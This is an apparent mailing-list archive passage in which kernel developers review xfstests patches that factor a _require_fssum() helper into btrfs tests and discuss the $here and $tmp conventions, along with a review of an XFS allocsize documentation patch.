+---- tests/btrfs/040 | 5 +---- tests/btrfs/041 | 5 +---- tests/btrfs/042 | 5 +---- 9 files changed, 15 insertions(+), 32 deletions(-) mode change 100644 => 100755 tests/btrfs/016 diff --git a/common/rc b/common/rc index 5df504c..cce05cc 100644 --- a/common/rc +++ b/common/rc @@ -2144,6 +2144,13 @@ _require_cp_reflink() _notrun "This test requires a cp with --reflink support." } +_require_fssum() +{ + HERE=`pwd` + FSSUM_PROG=$HERE/src/fssum + [ -x $FSSUM_PROG ] || _notrun "fssum not built" +} + # Given 2 files, verify that they have the same mapping but different # inodes - i.e. an undisturbed reflink # Silent if so, make noise if not diff --git a/tests/btrfs/007 b/tests/btrfs/007 index 5df9ccb..5430613 100755 --- a/tests/btrfs/007 +++ b/tests/btrfs/007 @@ -31,7 +31,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 @@ -52,11 +51,9 @@ _need_to_be_root _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _require_seek_data_hole -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full workout() diff --git a/tests/btrfs/016 b/tests/btrfs/016 old mode 100644 new mode 100755 index 6faead1..d04c21a --- a/tests/btrfs/016 +++ b/tests/btrfs/016 @@ -26,7 +26,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` tmp_dir=send_temp_$seq @@ -51,9 +50,7 @@ trap "_cleanup ; exit \$status" 0 1 2 3 15 _supported_fs btrfs _supported_os Linux _require_scratch - -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" +_require_fssum _scratch_mkfs > /dev/null 2>&1 diff --git a/tests/btrfs/030 b/tests/btrfs/030 index a9f5fb4..a76a410 100755 --- a/tests/btrfs/030 +++ b/tests/btrfs/030 @@ -36,7 +36,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -54,11 +53,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/038 b/tests/btrfs/038 index 8893696..4941d3e 100755 --- a/tests/btrfs/038 +++ b/tests/btrfs/038 @@ -32,7 +32,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -50,11 +49,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/039 b/tests/btrfs/039 index 41e09be..758b23c 100755 --- a/tests/btrfs/039 +++ b/tests/btrfs/039 @@ -35,7 +35,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -53,11 +52,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/040 b/tests/btrfs/040 index 77c4a84..dfd495c 100755 --- a/tests/btrfs/040 +++ b/tests/btrfs/040 @@ -35,7 +35,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -53,11 +52,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/041 b/tests/btrfs/041 index bfc0e4b..a960001 100755 --- a/tests/btrfs/041 +++ b/tests/btrfs/041 @@ -31,7 +31,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -49,11 +48,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/btrfs/042 b/tests/btrfs/042 index 2bd5147..9aa8967 100755 --- a/tests/btrfs/042 +++ b/tests/btrfs/042 @@ -36,7 +36,6 @@ seq=`basename $0` seqres=$RESULT_DIR/$seq echo "QA output created by $seq" -here=`pwd` tmp=`mktemp -d` status=1 # failure is the default! trap "_cleanup; exit \$status" 0 1 2 3 15 @@ -54,11 +53,9 @@ _cleanup() _supported_fs btrfs _supported_os Linux _require_scratch +_require_fssum _need_to_be_root -FSSUM_PROG=$here/src/fssum -[ -x $FSSUM_PROG ] || _notrun "fssum not built" - rm -f $seqres.full _scratch_mkfs >/dev/null 2>&1 -- 1.7.9.5 From fdmanana@gmail.com Mon Feb 24 05:58:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 29A7F7F52 for ; Mon, 24 Feb 2014 05:58:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1ED3AC005 for ; Mon, 24 Feb 2014 03:58:35 -0800 (PST) X-ASG-Debug-ID: 1393243112-04bdf00fca33b0c0001-NocioJ Received: from mail-bk0-f45.google.com (mail-bk0-f45.google.com [209.85.214.45]) by cuda.sgi.com with ESMTP id VDLCVMOFJXJroc8J (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 03:58:34 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.45 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.45] Received: by mail-bk0-f45.google.com with SMTP id mz13so1831569bkb.18 for ; Mon, 24 Feb 2014 03:58:32 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.45] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.45] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=/JeZGl4rdK4bztVZLE0o+nPuOAKX8tqr8zeK4gddHy0=; b=LLrE2k9rpdVeamGV8EGgM7JZ1CGPcxknNYuZf3QWyd0YIUoe9UEZ6xzUkpWJKq1LZf T6ONYmZWCMbUw1c1U+oD9h48KsyLYL8VF0QlU4FyTz9MvUNtsEHX9os2uvPAc+POLg1E dWyfubyu6wlD8My1c60Y9PZB6CJ+3CuVO0VTZJWIvzpPPiujNHElP2Ouc+6W3tgo5Hae wsZj+6bn7UOKP/K4A2OM/QElWXfm+TwUlIM4xmoWF+PxXDr5ET//ESd7vxmkGl+YejAY RTrwCDD89vcNKYu8n4AqYHZIALr0qD3VRt0gh8r4icjKJwRlx6CDttGSJuIWq++aCV91 PjPQ== MIME-Version: 1.0 X-Received: by 10.204.72.9 with SMTP id k9mr1408407bkj.1.1393243112420; Mon, 24 Feb 2014 03:58:32 -0800 (PST) Received: by 10.204.69.197 with HTTP; Mon, 24 Feb 2014 03:58:32 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140224052553.GJ4317@dastard> References: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> <20140224052553.GJ4317@dastard> Date: Mon, 24 Feb 2014 11:58:32 +0000 Message-ID: Subject: Re: [PATCH] xfstests: add test for btrfs send issuing premature rmdir operations From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH] xfstests: add test for btrfs send issuing premature rmdir operations To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f45.google.com[209.85.214.45] X-Barracuda-Start-Time: 1393243113 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 24, 2014 at 5:25 AM, Dave Chinner wrote: > On Wed, Feb 19, 2014 at 02:32:32PM +0000, Filipe David Borba Manana wrote: >> Regression test for btrfs incremental send issue where a rmdir instruction >> is sent against an orphan directory inode which is not empty yet, causing >> btrfs receive to fail when it attempts to remove the directory. >> >> This issue is fixed by the following linux kernel btrfs patch: >> >> Btrfs: fix send attempting to rmdir non-empty directories >> >> Signed-off-by: Filipe David Borba Manana >> --- >> tests/btrfs/041 | 153 +++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/041.out | 1 + >> tests/btrfs/group | 1 + >> 3 files changed, 155 insertions(+) >> create mode 100755 tests/btrfs/041 >> create mode 100644 tests/btrfs/041.out >> >> diff --git a/tests/btrfs/041 b/tests/btrfs/041 >> new file mode 100755 >> index 0000000..9de9326 >> --- /dev/null >> +++ b/tests/btrfs/041 >> @@ -0,0 +1,153 @@ >> +#! /bin/bash >> +# FS QA Test No. btrfs/041 >> +# >> +# Regression test for btrfs incremental send issue where a rmdir instruction >> +# is sent against an orphan directory inode which is not empty yet, causing >> +# btrfs receive to fail when it attempts to remove the directory. >> +# >> +# This issue is fixed by the following linux kernel btrfs patch: >> +# >> +# Btrfs: fix send attempting to rmdir non-empty directories >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +#----------------------------------------------------------------------- >> +# >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +here=`pwd` >> +tmp=`mktemp -d` >> +status=1 # failure is the default! >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +_cleanup() >> +{ >> + rm -fr $tmp >> +} >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> +_supported_fs btrfs >> +_supported_os Linux >> +_require_scratch >> +_need_to_be_root >> + >> +FSSUM_PROG=$here/src/fssum >> +[ -x $FSSUM_PROG ] || _notrun "fssum not built" > > This is duplicated across several tests now. Perhaps this should be > factored now into a _requires_fssum helper (separate patch is > fine)? > >> + >> +_scratch_unmount >> +_check_btrfs_filesystem $SCRATCH_DEV > > you should be able to use _check_scratch_fs() here. I note that the > btrfs path does not unmount the scratch device, so you should update > it to do so (like _check_xfs_filesytem does) and then > _check_scratch_fs() will just Do The Right Thing. > >> +_scratch_mkfs >/dev/null 2>&1 >> +_scratch_mount >> + >> +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap >> +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full >> + >> +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap >> +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full > > Hasn't run_check already redirected everything to $seqres.full? > >> +_scratch_unmount >> +_check_btrfs_filesystem $SCRATCH_DEV > > _check_scratch_fs() here too. > > Cheers, All done in V2 (same for the other test). For the require_fssum() function, I made a patch on top of these 2 so that it updates all existing btrfs tests that need fssum ("[PATCH] xfstests: add function _require_fssum()"). Thanks for the good suggestions Dave. > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From david@fromorbit.com Mon Feb 24 06:38:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6F10E7F52 for ; Mon, 24 Feb 2014 06:38:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 63F5D8F8039 for ; Mon, 24 Feb 2014 04:38:50 -0800 (PST) X-ASG-Debug-ID: 1393245527-04cbb00c2a74dec0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id o4PxvdsteH6j0WW6 for ; Mon, 24 Feb 2014 04:38:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwKAHQ8C1N5LJYe/2dsb2JhbABZgwa8KIVVgRUXdIIlAQEFOhwjEAgDGAklDwUNGAMhE4dxAxC+Og2HMhcWjDmCFQeEOASWR4FsilKCD4VHg0EogSwk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Feb 2014 23:08:47 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHuYw-0005oL-UQ; Mon, 24 Feb 2014 23:23:10 +1100 Date: Mon, 24 Feb 2014 23:23:10 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: add function _require_fssum() Message-ID: <20140224122310.GO4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add function _require_fssum() References: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393245527 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 11:56:23AM +0000, Filipe David Borba Manana wrote: > To avoid repeating detection of fssum presence in many btrfs tests, as > suggested by Dave Chinner. > > Signed-off-by: Filipe David Borba Manana > --- > common/rc | 7 +++++++ > tests/btrfs/007 | 5 +---- > tests/btrfs/016 | 5 +---- > tests/btrfs/030 | 5 +---- > tests/btrfs/038 | 5 +---- > tests/btrfs/039 | 5 +---- > tests/btrfs/040 | 5 +---- > tests/btrfs/041 | 5 +---- > tests/btrfs/042 | 5 +---- > 9 files changed, 15 insertions(+), 32 deletions(-) > mode change 100644 => 100755 tests/btrfs/016 > > diff --git a/common/rc b/common/rc > index 5df504c..cce05cc 100644 > --- a/common/rc > +++ b/common/rc > @@ -2144,6 +2144,13 @@ _require_cp_reflink() > _notrun "This test requires a cp with --reflink support." > } > > +_require_fssum() > +{ > + HERE=`pwd` > + FSSUM_PROG=$HERE/src/fssum > + [ -x $FSSUM_PROG ] || _notrun "fssum not built" > +} $here is defined by check to be the root of the xfstests instance that is running. There's 60+ tests that already us it. Hence: _require_fssum() { FSSUM_PROG=$here/src/fssum [ -x $FSSUM_PROG ] || _notrun "fssum not built" } Is all you need here. > + > # Given 2 files, verify that they have the same mapping but different > # inodes - i.e. an undisturbed reflink > # Silent if so, make noise if not > diff --git a/tests/btrfs/007 b/tests/btrfs/007 > index 5df9ccb..5430613 100755 > --- a/tests/btrfs/007 > +++ b/tests/btrfs/007 > @@ -31,7 +31,6 @@ seq=`basename $0` > seqres=$RESULT_DIR/$seq > echo "QA output created by $seq" > > -here=`pwd` > tmp=`mktemp -d` > status=1 Yeah, redefining $here is a bad thing to do :/ And I'd missed that this was being done in all the new btrfs tests, otherwise I would have pulled it up earlier. It also points out that the btrfs tests are using a non-standard $tmp directory - one that is in the xfstests source directory. That's a bad thing, too - tests should be using: tmp=/tmp/$$ to store small temporary files. If /tmp is too small for what a test needs, then the test should be using $TEST_DIR as the store for the temporary files to exercise the filesystem under test as much as possible. e.g. send image files build form snapshots of SCRATCH_DEV should be stored on TEST_DIR, not in $tmp; filesystem image files that are mounted by loopback should be stored on TEST_DIR or SCRATCH_MNT, not $tmp. And so on. i.e. the idea is that you direct as much of the IO to the test_DIR and SCRATCH_MNT as possible, not to the filesystem that is hosting $tmp or the xfstests source directory.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 24 06:39:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 537E17F57 for ; Mon, 24 Feb 2014 06:39:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3928A8F8039 for ; Mon, 24 Feb 2014 04:39:02 -0800 (PST) X-ASG-Debug-ID: 1393245540-04cb6c6de17550a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Oc8iWBPUbCHbB0Nv for ; Mon, 24 Feb 2014 04:39:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwKAHQ8C1N5LJYe/2dsb2JhbABZgwa8KIVVgRUXdIIlAQEFOhwjEAgDFQMJJQ8FJQMhE4gExXkXFo4ATgeEOASYM5Iog0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Feb 2014 23:08:59 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHuIn-0005lP-T1; Mon, 24 Feb 2014 23:06:29 +1100 Date: Mon, 24 Feb 2014 23:06:29 +1100 From: Dave Chinner To: sat Cc: xfs@oss.sgi.com, Rob Landley Subject: Re: [PATCH] XFS: fix the description of 'allocsize=' mount option Message-ID: <20140224120629.GN4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] XFS: fix the description of 'allocsize=' mount option References: <530AE0E5.1090707@jp.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530AE0E5.1090707@jp.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393245540 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 03:04:21PM +0900, sat wrote: > From: Satoru Takeuchi > > The end-of-file preallocation size is dynamic by default. > So the description about the default size of preallocation > should be removed. > > Instead, adding the description about the initial size of > dynamic preallocation is useful for users. > > Signed-off-by: Satoru Takeuchi > Cc: Dave Chinner > Cc: Rob Landley > --- > Documentation/filesystems/xfs.txt | 16 ++++++++-------- > 1 files changed, 8 insertions(+), 8 deletions(-) > > diff --git a/Documentation/filesystems/xfs.txt b/Documentation/filesystems/xfs.txt > index 5be51fd..30e57b0 100644 > --- a/Documentation/filesystems/xfs.txt > +++ b/Documentation/filesystems/xfs.txt > @@ -23,16 +23,16 @@ default behaviour. > > allocsize=size > Sets the buffered I/O end-of-file preallocation size when > - doing delayed allocation writeout (default size is 64KiB). > - Valid values for this option are page size (typically 4KiB) > - through to 1GiB, inclusive, in power-of-2 increments. > + doing delayed allocation writeout. Valid values for this > + option are page size (typically 4KiB) through to 1GiB, > + inclusive, in power-of-2 increments. > > The default behaviour is for dynamic end-of-file > - preallocation size, which uses a set of heuristics to > - optimise the preallocation size based on the current > - allocation patterns within the file and the access patterns > - to the file. Specifying a fixed allocsize value turns off > - the dynamic behaviour. > + preallocation size (initial size is 64KiB), which uses a Actually, it isn't. The initial size of dynamic prealloc is determined by a set of heuristics based on file size, filesystem geometry and the existing extents on the file. It uses a default of 64k if no optimisation heuristics trigger. Therefore, it may actually be zero - we don't do any speculative preallocation for small files until they grow past a specific threshold. i.e. there is a small file optimisation heuristic that takes precendence over the default, and so the comment about the initial prealloc size being 64k is wrong. The initial prealloc size is zero.... An example at the other end of the spectrumL we preallocate a chunk of a file, then write past the end of the preallocated region. The initial speculative preallocation is triggered once we pass the preallocated region, and the heuristics can result in an initial size anywhere in the range of zero (small file) to 2^21 blocks (large, multi-GB file). Hence I think that the generalised text saying "default is 64k and is optimised based on heuristics" reflects the behaviour of the algorithm much better than saying " and is optimised by algorithmic heuristics".... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Mon Feb 24 07:22:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6DEBC7F52 for ; Mon, 24 Feb 2014 07:22:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 661D9304059 for ; Mon, 24 Feb 2014 05:22:39 -0800 (PST) X-ASG-Debug-ID: 1393248156-04cbb00c28751b00001-NocioJ Received: from mail-bk0-f47.google.com (mail-bk0-f47.google.com [209.85.214.47]) by cuda.sgi.com with ESMTP id HqqpRzv7IvgJDNEr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 05:22:37 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.47] Received: by mail-bk0-f47.google.com with SMTP id w10so209472bkz.20 for ; Mon, 24 Feb 2014 05:22:36 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=NYfS7CIjG2cQgwyWybRnYFBw0kXs6Pl/d+grOkLqm+M=; b=dlzl75MGGY3lr2myHYhAURmR/r06LCq/GHipENNv/SYZNnMmz8w7bhDpcaKOWtPG/3 LHJCQHPbav0PQlFM4u8sjxf4vx4bXwZxH6H/qj2SRHl08cYGTjOJr1ij0J2or74yYTTB NTY1mnclEcYz9OAQpb1rrzFOpwWdQlh6lh82cBVOPa5bxuTSZD6SGvhfSRsiHzELFac6 h790EL4fhXV2fj0+nYwV4xPCPXlqIem3uCsrRYP4wj3rabfM3Id6sLdrY+0IaVQj6P/l IDqqOujXyLN2hFxCIAU84UBVkZZS/IpzLYy+ZWttWVi/R4iCTWBZPWeMdQlVZRcRZJ8U 85uw== MIME-Version: 1.0 X-Received: by 10.204.102.199 with SMTP id h7mr5199610bko.15.1393248156388; Mon, 24 Feb 2014 05:22:36 -0800 (PST) Received: by 10.204.69.197 with HTTP; Mon, 24 Feb 2014 05:22:36 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140224122310.GO4317@dastard> References: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> <20140224122310.GO4317@dastard> Date: Mon, 24 Feb 2014 13:22:36 +0000 Message-ID: Subject: Re: [PATCH] xfstests: add function _require_fssum() From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH] xfstests: add function _require_fssum() To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f47.google.com[209.85.214.47] X-Barracuda-Start-Time: 1393248157 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145460 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 24, 2014 at 12:23 PM, Dave Chinner wrote: > On Mon, Feb 24, 2014 at 11:56:23AM +0000, Filipe David Borba Manana wrote: >> To avoid repeating detection of fssum presence in many btrfs tests, as >> suggested by Dave Chinner. >> >> Signed-off-by: Filipe David Borba Manana >> --- >> common/rc | 7 +++++++ >> tests/btrfs/007 | 5 +---- >> tests/btrfs/016 | 5 +---- >> tests/btrfs/030 | 5 +---- >> tests/btrfs/038 | 5 +---- >> tests/btrfs/039 | 5 +---- >> tests/btrfs/040 | 5 +---- >> tests/btrfs/041 | 5 +---- >> tests/btrfs/042 | 5 +---- >> 9 files changed, 15 insertions(+), 32 deletions(-) >> mode change 100644 => 100755 tests/btrfs/016 >> >> diff --git a/common/rc b/common/rc >> index 5df504c..cce05cc 100644 >> --- a/common/rc >> +++ b/common/rc >> @@ -2144,6 +2144,13 @@ _require_cp_reflink() >> _notrun "This test requires a cp with --reflink support." >> } >> >> +_require_fssum() >> +{ >> + HERE=`pwd` >> + FSSUM_PROG=$HERE/src/fssum >> + [ -x $FSSUM_PROG ] || _notrun "fssum not built" >> +} > > $here is defined by check to be the root of the xfstests instance > that is running. There's 60+ tests that already us it. Hence: > > _require_fssum() > { > FSSUM_PROG=$here/src/fssum > [ -x $FSSUM_PROG ] || _notrun "fssum not built" > } > > Is all you need here. Hum, doesn't work unless the test file defines $here. At least when running a single only (.e.g. ./check btrfs/041). > >> + >> # Given 2 files, verify that they have the same mapping but different >> # inodes - i.e. an undisturbed reflink >> # Silent if so, make noise if not >> diff --git a/tests/btrfs/007 b/tests/btrfs/007 >> index 5df9ccb..5430613 100755 >> --- a/tests/btrfs/007 >> +++ b/tests/btrfs/007 >> @@ -31,7 +31,6 @@ seq=`basename $0` >> 